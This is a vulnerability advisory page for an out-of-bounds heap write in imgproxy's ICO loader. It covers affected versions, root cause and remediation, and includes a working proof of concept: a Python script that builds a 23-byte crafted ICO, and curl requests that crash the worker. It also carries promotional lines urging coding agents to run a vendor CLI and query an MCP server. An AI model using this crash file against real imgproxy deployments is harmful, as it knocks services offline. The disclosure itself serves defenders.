# GHSA-494M-4556-WF5P: imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash

Affects imgproxy 3.3.0 through 4.0.16 when it processes an attacker-supplied ICO image through its ICO loader. Fixed in 4.0.17.

- Severity: high (stated by ghsa, no CVSS score)
- Known exploited (CISA KEV): no
- Exposure: Unclear
- Fixed in: 4.0.17
- Published: 2026-10-30 · Updated: 2026-10-30

## Summary

imgproxy, an image processing server, is affected by an out-of-bounds heap memory corruption flaw in its ICO image loader. A remote, unauthenticated attacker who submits a specially crafted ICO image can crash the imgproxy worker process, causing a denial of service.

Model-written summary (anthropic/claude-haiku-5.5). Verify details against the original sources.

## Affected

- github.com/imgproxy/imgproxy/v3 (Go): from 3.3.0, fixed in 4.0.17

## Description

### Summary Out-of-bounds heap write in imgproxy's ICO loader (`vips/icoload.c`): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc `munmap_chunk(): invalid pointer` → SIGABRT → Go panic, exit code 2). ### Details In `vips_foreign_load_ico_header` in `vips/icoload.c`, after the ICO entry's image data is read into a heap buffer of `data_size + 14` bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER: ``` uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32)); // unvalidated uint16_t bpp = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14)); // unvalidated ``` ``` if ((num_colors == 0) && (bpp <= 8)) pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp); else pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors; ``` ``` int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8)); // readable past the buffer height = height / 2; ``` With a crafted entry declaring a tiny `data_size` (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit `height/2`-derived value at `alloc+22..+25`, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always `original_size >> 1` and, in cgo thread arenas, the `NON_MAIN_ARENA` bit lands in the `IS_MMAPPED` position of the corrupted word such that the next `free()` of the victim deterministically takes glibc's `munmap_chunk()` abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2). ### PoC ```py # make_ico_oob.py — generates the exact 23-byte OOB-write trigger. # Byte-identical to the checksummed, production-verified file: # ico-oob.ico sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1 import struct, hashlib hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1 # 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16. # The tiny data_size (1) makes the loader's BMPINFOHEADER field reads # (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte # allocation. entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16) data = b'\xAA' # the single declared image byte blob = hdr + entry + data assert hashlib.sha256(blob).hexdigest() == \ '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1' open('ico-oob.ico', 'wb').write(blob) print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]") ``` ``` # imgproxy v4.0.15 with local file sources enabled: # IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png" # → request fails at transport level (connection reset / empty reply) or # HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT → # Go panic dump → exit code 2. One request, one dead worker. curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png" # → HTTP 200, valid thumbnail (control) ``` ### Impact Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.

## What to do

- Check your stack: if you ship or depend on github.com/imgproxy/imgproxy/v3, upgrade to a fixed version (4.0.17) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=GHSA-494M-4556-WF5P

## FAQ

### What does this mean?

The ICO image loader writes past the end of a heap buffer during BMP header reconstruction, corrupting heap metadata. The advisory's demonstrated impact is denial of service, where a crafted request crashes the imgproxy worker process.

Source: https://github.com/imgproxy/imgproxy/security/advisories/GHSA-494m-4556-wf5p

### Am I affected, and how do I check?

The github.com/imgproxy/imgproxy/v3 module from 3.3.0 through 4.0.16 is in the affected range, and the bug is reached only when imgproxy processes an attacker-supplied ICO image through its ICO loader. Compare the imgproxy version in use against that range to see whether it falls inside it.

Source: https://github.com/imgproxy/imgproxy/security/advisories/GHSA-494m-4556-wf5p

### What should I do about it?

Upgrade imgproxy to 4.0.17 or later, which is the fixed version in the affected range.

Source: https://github.com/imgproxy/imgproxy/security/advisories/GHSA-494m-4556-wf5p

### Is it being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.

Source: https://cve.now/GHSA-494M-4556-WF5P

## Related

- Browse: [Go packages](https://cve.now/ecosystem/go.md) · [Latest entries](https://cve.now/latest.md)

## References

- https://github.com/imgproxy/imgproxy/security/advisories/GHSA-494m-4556-wf5p
- https://github.com/imgproxy/imgproxy/pull/1726
- https://github.com/imgproxy/imgproxy/commit/39fd9e844a8a46084161502e993d5a3c16ccf28d
- https://github.com/imgproxy/imgproxy
- https://github.com/imgproxy/imgproxy/releases/tag/v4.0.17

---

Source: cve.now, built and run by Sazabi
Page: https://cve.now/GHSA-494M-4556-WF5P
JSON: https://cve.now/api/v1/entries/GHSA-494M-4556-WF5P
Uses NVD data; not endorsed by NVD.
